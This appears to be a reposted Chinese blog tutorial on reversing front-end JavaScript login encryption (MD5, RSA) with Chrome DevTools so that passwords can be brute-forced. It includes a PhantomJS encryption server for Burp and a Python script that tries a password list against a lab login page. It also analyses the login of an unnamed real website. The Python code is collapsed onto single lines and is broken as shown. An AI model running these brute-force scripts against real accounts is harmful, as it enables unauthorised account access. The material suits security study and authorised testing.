37.前台js登陸加密分析


開篇

由於現在的登陸接口如果明文傳輸的話,容易被暴力破解,越來越多的網站選擇了前台js加密的方式,像這樣:

或者這樣:

 

枯了,對滲透造成一定的影響

本篇文章將系統的講述使用Python對前台js加密爆破的方法。

加密方式

對稱加密

什么是對稱加密

對稱加密就是指,加密和解密使用同一個密鑰的加密方式。

對稱加密的過程

發送方使用密鑰將明文數據加密成密文,然后發送出去,接收方收到密文后,使用同一個密鑰將密文解密成明文讀取。

常見對稱加密算法

AES,DES,3DES,RC4,RC5...

對稱加密算法的不足

由於對稱加密的加密和解密使用的是同一個密鑰,所以對稱加密的安全性就不僅僅取決於加密算法本身的強度,更取決於密鑰是否被安全的保管,因此加密者如何把密鑰安全的傳遞到解密者手里,就成了對稱加密面臨的關鍵問題。

非對稱加密

什么是非對稱加密

非對稱加密算法需要兩個密鑰:公開密鑰(public key)和 私有密鑰(private key)。

公開密鑰與私有密鑰是一對,如果用公開密鑰對數據進行加密,只有用對應的私有密鑰才能解密;如果用私有密鑰對數據進行加密,那么只有用對應的公開密鑰才能解密。因為加密和解密使用的是兩個不同的密鑰,所以這種算法叫作非對稱加密算法。

非對稱加密的過程

  • A要向B發送信息,A和B都要產生一對用於加密和解密的公鑰和私鑰。
  • A的私鑰保密,A的公鑰告訴B;B的私鑰保密,B的公鑰告訴A。
  • A要給B發送信息時,A用B的公鑰加密信息,因為A知道B的公鑰。
  • A將這個消息發給B(已經用B的公鑰加密消息)。
  • B收到這個消息后,B用自己的私鑰解密A的消息,其他所有收到這個報文的人都無法解密,因為只有B才有B的私鑰。
  • 反過來,B向A發送消息也是一樣。

常見的非對稱加密算法

RSA,ECC,DSA...

單向散列函數

單向散列函數的特點

  • 不管明文多長,散列后的密文定長
  • 明文不一樣,散列后結果一定不一樣
  • 散列后的密文不可逆
  • 一般用於校驗數據完整性、簽名 sign
  • 由於密文不可逆,所以后台無法還原,也就是說他要驗證,會在后台以跟前台一樣的方式去重新簽名一遍。也就是說他會把源數據和簽名后的值一起提交到后台。所以我們要保證在簽名時候的數據和提交上去的源數據一致,這種算法特喜歡在內部加入時間戳

單向散列函數常見算法

MD5,SHA1,SHA256,SHA512,HmacMD5...

其他加密

BASE64

  • 所有的數據都能被編碼為只用65個字符就能表示的文本。
    標准的Base64每行為76個字符,每行末尾添加一個回車換行符(\r\n)。不論每行是否滿76個字符,都要添加一個回車換行符。
  • 65字符:A~Z a~z 0~9 + / =
    URL Base64算法中,為了安全,會把 + 替換成 - ,把 / 替換成 _
    = 有時候用 ~ 或 . 代替
  • Base64的應用
    密鑰,密文,圖片,數據簡單加密或者預處理
  • Base64編碼解碼與btoa、atob

HEX

  • 二進制數據最常用的一種表示方式。
  • 用0-9 a-f 16個字符表示。每個十六進制字符代表4bit。也就是2個十六進制字符代表一個字節。
  • 在實際應用中,尤其在密鑰初始化的時候,一定要分清楚自己傳進去的密鑰是哪種方式編碼的,采用對應方式解析,才能得到正確的結果

如何使用chrome瀏覽器調試js

斷點調試

代碼斷點

1.打開調試工具DevTools(F12)。

2.點擊 Sources 選項卡,來查看當前加載的js代碼

3.找到需要代碼斷下的地方,在左側行號處點擊,會出現一個藍色的圖標

4.重新對頁面發起請求,當代碼執行到這一行就會暫停。

條件斷點

除了普通的斷點外,還可以使用條件斷點,不過只有在條件為真時才會暫停。

1.到需要代碼斷下的地方,右鍵點擊選擇 add conditional breakpoint 

2.在彈出的輸入框中,輸入條件語句,確定后,行號處會變成橙色

管理代碼斷點

斷點多了,有時候自己也亂。這個時候可以在右側的 Breakpoints窗格管理斷點,這里顯示每個斷點對應的行號和代碼。

1.點擊斷點前的復選框可以禁用該斷點。

2.右鍵單擊某個條目,可以呼出菜單以刪除該斷點,取消激活所有斷點,禁用所有斷點或刪除所有斷點,刪除除此斷點外的其他斷點。其中取消激活所有斷點會指示DevTools忽略所有代碼行斷點,但也要保持其啟用狀態,以便它們在重新激活它們時處於與之前相同的狀態。

3.單擊斷點其他位置,可以聯動到該代碼在編輯器的位置,並且背景會標黃。

DOM斷點

有時候可能需要在DOM節點發生改變的時,對代碼暫停。這是就可以設置DOM更改斷點。

1.切換到 Elements 選項卡

2.右鍵點擊需要設置斷點的元素。

3.將鼠標移到 Break on 上,然后選擇 “子樹修改”,“屬性修改” 或 “節點刪除”。

三種斷點類型解釋:

  • 子樹修改。當刪除或添加當前所選節點的子節點或更改子節點的內容時觸發。未在子節點屬性更改或當前所選節點的任何更改上觸發。
  • 屬性修改:在當前選定的節點上添加或刪除屬性時或屬性值更改時觸發。
  • 節點刪除:刪除當前選定的節點時觸發。

XHR/Fetch斷點

這里先介紹一下什么是XHR請求:

XHR(XMLHttpRequest)是AJAX的基礎,用於在后台與服務器交換數據。這意味着可以在不重新加載整個網頁的情況下,對網頁的某部分進行更新。

如需將請求發送到服務器,我們使用 XMLHttpRequest 對象的 open() 和 send() 方法

如果要在XHR請求的時候,對包含指定字符串的URL進行中斷,可以使用此斷點。DevTools暫停XHR調用的代碼行 send()。 (Fetch也適用)

1.切換到 Sources 選項卡,展開 XHR/Fetch Breakpoints 窗格。

2.點擊右側的加號,添加斷點的條件

3.在彈出的輸入框輸入URL包含的字符串,回車,包含這段字符串的URL,在發出請求的時候,DevTools就會暫停。注意,如果輸入為空,將對任何請求進行暫停

事件監聽斷點

如果要暫停事件觸發后運行的事件監聽器代碼,可以使用事件監聽器斷點。

1.切換到 Sources 選項卡,展開 Event Listener Breakpoints 窗格

2.在事件列表里選擇需要監聽的事件類型。比如常用的 Mouse 下的 click 事件。

異常斷點

如果要在拋出捕獲或未捕獲的異常的代碼上暫停,那么可以使用異常斷點。

1.切換到 Sources 選項卡,點擊 暫停異常 按鈕,啟用后會變成藍色

2.如果除了未捕獲的異常之外還要暫停捕獲的異常,請選中 暫停捕獲異常 復選框。

步進執行代碼

代碼暫停后,我們需要手動控制代碼的執行,以方便排查問題。如下圖從左往右依次是

恢復執行,跳過下一個函數,跳入下一個函數,跳出下一個函數,逐步執行下一行。

恢復執行

1.有時候會覺得逐步執行代碼很乏味,這時可以在您覺得可能出問題的代碼處打斷點,然后點擊恢復執行按鈕。這樣代碼就會跳到下一個斷點處。

2.除了這個方法,還可以右鍵單擊覺得出問題的代碼處,點擊Continue to Here (繼續到此處)。DevTools就會運行到改行,然后暫停。

3.點開恢復執行按鈕右下角的小三角,可以點擊強制恢復執行,這樣就能無視后面的斷點,強行執行腳本。

跳過,跳入,跳出,逐步執行

1.如果覺得代碼中調用的某個函數是可信任的,這個時候就可以在代碼執行到這行時,點擊跳過按鈕。

2.如果代碼執行到某行調用了某個函數,可以點擊跳入這個函數,繼續執行。

3.如果不想繼續查看調用函數的內部代碼,可以點擊跳出按鈕,回到調用該函數的主流程中。

4.如果不知道哪里出了問題,希望一行行的查找問題,這個時候可以點擊逐行執行按鈕,這樣代碼就會按照執行邏輯一行一行的執行。

編輯腳本

有時候修復錯誤的時候,需要對JS代碼進行一些修改。其實有些簡單的修改無需在IDE中修改了代碼然后再重新加載頁面,查看效果。您可以在DevTools中直接編輯腳本。

1.在 Sources 選項卡中的打開需要修改的文件。

2.修改代碼,按Ctrl+ S進行保存。這樣就將整個JS文件修補到Chrome的JS引擎中了。(注意修改完后不要刷新頁面)。

壓縮腳本格式化

有時候一些生產環境的文件都是經過壓縮的,這樣不利於斷點調試代碼。這個時候可以點擊格式化按鈕將代碼格式化后再進行調試。

 

查看當前執行上下文

在某行代碼上暫停時,使用 Scope 窗格可以查看當前執行上下文。

1.雙擊屬性值,可以進行更改。

2.不可枚舉的屬性顯示為灰色。

查看當前調用堆棧

在某行代碼上暫停時,使用 Call stack 窗格可以查看此時的調用堆棧。

1.單擊某一個條目可以跳轉到調用該函數的代碼行。藍色箭頭表示DevTools當前正在突出顯示的函數。

2.右鍵點擊某個條目,可以選擇復制堆棧跟蹤。將當前調用堆棧復制到剪切板。

代碼片段

 如果發現自己在控制台中反復運行相同的調試代碼,就可以考慮使用 Snippets(代碼片段)。

1.打開 Sources 選項卡,切換到 Snippets 標簽

2.點擊 New Snippet 可以新建一個代碼片段,編輯代碼,按Ctrl+S保存更改,按Ctrl+Enter執行代碼。

3.代碼執行成功后並且再次對文件進行編輯后,可以通過右鍵菜單選擇 Local Modifications 查看更改記錄。還可以通過下方的 revert 按鈕撤銷本次修改。

4.github上有很多開源的 snippets ,可以保存起來,方便日后調試。

 

這一片段來源於 https://blog.csdn.net/userkang/article/details/85252644

如何去定位前台加密js代碼

如何去定位前台加密的js代碼才是本文的關鍵,畢竟只有找到js加密的代碼,才能構造Python腳本去爆破

F12一鍵定位

F12查找處理登陸函數

F12檢查元素,小箭頭點擊到"登陸","確定"時會觸發提交表單的標簽中的一個onClik屬性,該屬性的值正好是一個處理登陸的js函數userLogin(),像這樣:

定位到這個函數后,可以去Sources文件中search一下這個處理登陸的函數

match到了三個,在最后function處找到了處理的代碼

 

這個時候需要下斷點來確定是否調用了這個函數

F12事件監聽

通過F12還可以通過事件的監聽來定位加密的方法,還是F12檢查元素,小箭頭點擊到"登陸","確定" 時會觸發一個click點擊事件,像這樣:

 

查找與驗證加密方法與上步一樣,這里不再贅述

全局搜索定位

全局搜索顧名思義就是通過查找加密的方法,或者特殊的字段來定位加密的函數,像這樣

使用加密函數名搜索

md5,aes,des,rsa,encrypt,tripedes,publickey,setpubkey,setpublickey...

使用特定字段搜索

F12查看元素,着重關注id = " ",name = " ",type = " ",value = " "... 這種里面的內容

一般可以搜索 password,password: ,password = ,pwd ....

先通過Network抓取登陸請求

發現密碼用 pwd:來承載,全局搜索 pwd:

成功定位到加密的地方

XHR斷點定位

如果搜索加密參數,沒有什么有用,或者代碼過於復雜,搜索特定參數,發現根本沒有,像這樣:

 

可以嘗試使用XHR斷點進行定位,不過前提是網站使用XHR請求到服務器

切換到,控制台Source 選項卡

在XHR Breakpoints中填入 "officer/v1/user/login"

重新發送請求:

可以看到function y(t)匹配到了斷點內容

發現我們需要提交的數據就在這個n.args中

在左邊堆棧中查看n的事件,發現一個n.login

打開發現果然我們提交的數據通過這個函數進行加密

簡單例子實踐

這里推薦c0ny1大佬的環境與插件:https://github.com/c0ny1/jsEncrypter

哦呦,還不錯!

這配置文件里面有各種形式的js加密,那就來正常登錄分析一波!

F12查看元素,事件監聽

進去查看

m控制的是前台選擇的加密方式,這里m=1,選擇的是hex_md5()

全局search這個方法:

跳到這個md5.js代碼

如何進行爆破

使用大佬的 jsEncrypter 插件

1.安裝了phantomJS

2.首先我們能夠分析出加密的算法,並能夠將算法的js文件引入模板腳本,並在模板腳本的js_encrypt函數體中完成對加密函數的調用

jsEncrypter_md5.js

var webserver = require('webserver');
server = webserver.create();

var host = '127.0.0.1';
var port = '1664';

// 加載實現加密算法的js腳本
var wasSuccessful = phantom.injectJs('md5.js');/*引入實現加密的js文件*/

// 處理函數
function js_encrypt(payload){
    /**********在這里編寫調用加密函數進行加密的代碼************/
    var newpayload;
    newpayload = hex_md5(payload);
    /**********************************************************/
    return newpayload;
}

if(wasSuccessful){
    console.log("[*] load js successful");
    console.log("[!] ^_^");
    console.log("[*] jsEncrypterJS start!");
    console.log("[+] address: http://"+host+":"+port);
}else{
    console.log('[*] load js fail!');
}

var service = server.listen(host+':'+port,function(request, response){
     try{
        if(request.method == 'POST'){
            var payload = request.post['payload'];
            var encrypt_payload = js_encrypt(payload); 
            console.log('[+] ' + payload + ':' + encrypt_payload);
            response.statusCode = 200;
            response.write(encrypt_payload.toString());
            response.close();
        }else{
              response.statusCode = 200;
              response.write("^_^\n\rhello jsEncrypt!");
              response.close();
        }
    }catch(e){
        console.log('\n-----------------Error Info--------------------')
        var fullMessage = "Message: "+e.toString() + ':'+ e.line;
        for (var p in e) {
            fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
        } 
        console.log(fullMessage);
        console.log('---------------------------------------------')
        console.log('[*] phantomJS exit!')
        phantom.exit();
    }    
});

3.運行jsEncrypter_md5.js

開啟burp插件jsEncrypter插件,並連接

點擊Test測試phantomJS腳本能夠正常加密payload

抓包嘗試爆破

前期步驟都一樣,到最后添加規則的時候

開始爆破

 

果然nice!

使用python的 execjs 模塊

同樣需要我們能夠分析出加密的算法,使用Python的execjs模塊調用加密js,其實原理與上面大佬的思路一樣:

這里直接給出代碼

import execjs import sys import requests
def get_js(): #執行本地js f
= open("md5.js",'r',encoding='utf-8') line = f.readline() htmlstr = '' while line: htmlstr = htmlstr+line line = f.readline() return htmlstr def get_data(data): jsstr = get_js() #調用compile()編譯並加載js文件內容 ctx = execjs.compile(jsstr) #調用call()調用js中的方法與參數 return (ctx.call('hex_md5',data)) def get_file(): f = open('pass.txt','r',encoding = 'utf-8') for each in f: data1 = get_data(each.strip()) re = to_request(data1) if "successful" in re: print("password : "+each+re) def to_request(data1): url = "http://192.168.31.76/webapp/login_check.php" data = { "m":"1", "username":"admin", "password":data1, } re = requests.post(url,data=data) return re.text if __name__ == '__main__': get_file()

嘗試運行:

 

 菜雞代碼,大佬勿噴!

真實環境測試

接下來實際分析一下某天下網站的加密。

嘗試使用錯誤的密碼登陸,同時F12來監控網絡請求:

看到密碼處那一大段復雜的加密,首先嘗試來搜索關鍵字,比如這里是 pwd:

這里下斷點來調試一下:

到 encryptedString() 這個函數處斷了下來,that.password.val()提取出來的是我們輸入的明文密碼,這個key_to_encode猜想應該是加密用的key值,

搜索一波:

看到RSA字樣感覺就穩了,RSA加密的話需要一個密鑰,后面的也能對的上。繼續跟進RSAKeyPair()函數,看到底是哪個js需要用到這個函數

分析可得,這個RSA.min.js就是加密的代碼

嘗試把加密js保存在本地,並使用python的execjs模塊去調用我們構造的參數

在RSA.min.js結尾補充了這樣幾行代碼

引入RSA加密的公鑰,以及我們調用的接口函數,當然,如果可以運行js的話,直接在末尾console.log()會更清晰明白

我這里給出菜雞python調用代碼:

import execjs def get_js(): #執行本地js f = open("rsa.js",'r',encoding='utf-8') line = f.readline() htmlstr = ''
     while line: htmlstr = htmlstr+line line = f.readline() return htmlstr def get_data(data): jsstr = get_js() #調用compile()編譯並加載js文件內容 ctx = execjs.compile(jsstr) #調用call()調用js中的方法與參數 print(ctx.call('crack',data)) if __name__ == '__main__': password = "joker123" get_data(password)

運行結果:

使用burp抓取數據包,把上面結果粘貼進去,登陸成功!

結尾

由於自己也是第一次這樣分析逆向js代碼,如果哪里有錯,大佬們可以私信我

參考連接:

    前端js幾種加密/解密方式

    http://travistidwell.com/jsencrypt/

    http://gv7.me/articles/2018/fast-locate-the-front-end-encryption-method/

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM